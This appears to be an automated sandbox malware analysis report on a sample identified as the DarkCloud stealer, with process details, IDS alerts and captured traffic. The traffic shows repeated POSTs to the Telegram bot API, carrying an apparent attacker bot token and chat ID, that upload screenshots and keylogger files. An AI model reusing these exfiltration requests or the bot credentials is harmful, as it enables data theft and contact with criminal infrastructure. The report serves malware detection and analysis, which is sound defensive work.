3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDataUNbfPUtV.txt"Content-Type: application/octet-stream[07:41:19]<<Program Manager>>[07:41:19]<<Program Manager>>[07:41:19]<<Program Mana
2024-11-25 12:41:31 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:41:30 GMT Content-Type: application/json Content-Length: 594 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-25 12:41:31 UTC	594	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 35 34 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 38 31 36 35 30 36 38 30 31 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 44 61 72 6b 63 6c 6f 75 64 5f 52 65 73 75 6c 74 5f 62 6f 78 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 44 61 72 6b 63 6c 6f 75 64 5f 52 65 73 75 6c 74 5f 62 6f 78 38 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 31 31 35 38 35 30 36 38 39 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 68 69 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 6f 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 48 52 77 65 62 63 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":2544,"from":{"id":8165068013,"is_bot":true,"first_name":"Darkcloud_Result_box8","username":"Darkcloud_Result_box8_Bot"},"chat":{"id":6115850689,"first_name":"Chi","last_name":"Boy","username":"HRwebc","type":"private"},"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	50013	149.154.167.220	443	4304	C:\Users\user\Desktop\wMy37vlfvz.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:41:34 UTC	562	OUT	POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-SC:::user-PC\user\8.46.123.75 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 3932422 Connection: Keep-Alive Cache-Control: no-cache
2024-11-25 12:41:34 UTC	16355	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 63 72 65 65 6e 73 68 6f 74 4a 4c 48 6f 53 79 51 46 2e 42 4d 50 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 42 4d 36 00 3c 00 00 00 00 00 36 00 00 00 28 00 00 00 00 05 00 00 00 04 00 00 01 00 18 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 1a 00 24 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="ScreenshotJLHoSyQF.BMP"Content-Type: application/octet-streamBM6<6(<$$######$$$$
2024-11-25 12:41:34 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:41:34 UTC	16355	OUT	Data Raw: 22 16 00 22 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 19 01 24 24 03 2d 46 0c 35 68 15 3b 81 1b 3e 8c 1e 19 aa b2 09 a5 d9 10 84 a9 17 51 59 1f 23 13 21 18 03 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 Data Ascii: ""!!!!!!!!!!!!!!!!$$-F5h;>QY#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2024-11-25 12:41:34 UTC	16355	OUT	Data Raw: 00 1e 11 00 1e 11 00 1e 11 00 1e 11 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f Data Ascii:
2024-11-25 12:41:34 UTC	16355	OUT	Data Raw: 0b 01 ff ff ff 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0a 01 1b 0a 00 1b 0b 01 1b 0b 01 1b 0a 01 76 6c 67 1b 0a 01 1b 0b 01 1b 0b 01 1b 0b 01 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: vlg$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
2024-11-25 12:41:34 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:41:34 UTC	16355	OUT	Data Raw: 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 14 00 21 14 00 21 15 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 Data Ascii: !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2024-11-25 12:41:34 UTC	16355	OUT	Data Raw: 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1d 0f 00 1d 0f 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d Data Ascii:
2024-11-25 12:41:34 UTC	232	OUT	Data Raw: 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: $$$$$$$$$$$$$$$$$$$$$$$$$$$$
2024-11-25 12:41:34 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:

Target ID:	1
Start time:	07:39:29
Start date:	25/11/2024
Path:	C:\Users\user\Desktop\wMy37vlfvz.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\wMy37vlfvz.exe"
Imagebase:	0x400000
File size:	459'776 bytes
MD5 hash:	8F6EE9BA8FF5FD89141322D36E8FE46D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DarkCloud, Description: Yara detected DarkCloud, Source: 00000001.00000000.2349408415.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	07:39:32
Start date:	25/11/2024
Path:	C:\Windows\SysWOW64\wbem\WmiPrvSE.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x430000
File size:	418'304 bytes
MD5 hash:	64ACA4F48771A5BA50CD50F2410632AD
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.6:49841 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.6:49862 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.6:49862 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.6:49876 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.6:49901 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.6:49892 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.6:49892 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.6:49917 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.6:49917 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.6:49927 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.6:49958 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.6:49945 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.6:49945 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.6:49972 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.6:49972 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.6:49983 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.6:49998 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.6:50007 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.6:49998 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.6:50013 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852388 - Severity 1 - ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4 : 192.168.2.6:50012 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2045300 - Severity 1 - ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram : 192.168.2.6:50012 -> 149.154.167.220:443

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 162.55.60.2 162.55.60.2

Source: global traffic	HTTP traffic detected: POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-SC:::user-PC\user\8.46.123.75 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 3932422Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-KL:::user-PC\user\8.46.123.75 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 7003Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-SC:::user-PC\user\8.46.123.75 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 3932422Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-KL:::user-PC\user\8.46.123.75 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 634Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-SC:::user-PC\user\8.46.123.75 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 3932422Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-KL:::user-PC\user\8.46.123.75 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 568Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-SC:::user-PC\user\8.46.123.75 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 3932422Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-KL:::user-PC\user\8.46.123.75 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 568Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-SC:::user-PC\user\8.46.123.75 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 3932422Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-KL:::user-PC\user\8.46.123.75 HTTP/1.1Accept: /Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: api.telegram.orgContent-Length: 601Connection: Keep-AliveCache-Control: no-cache
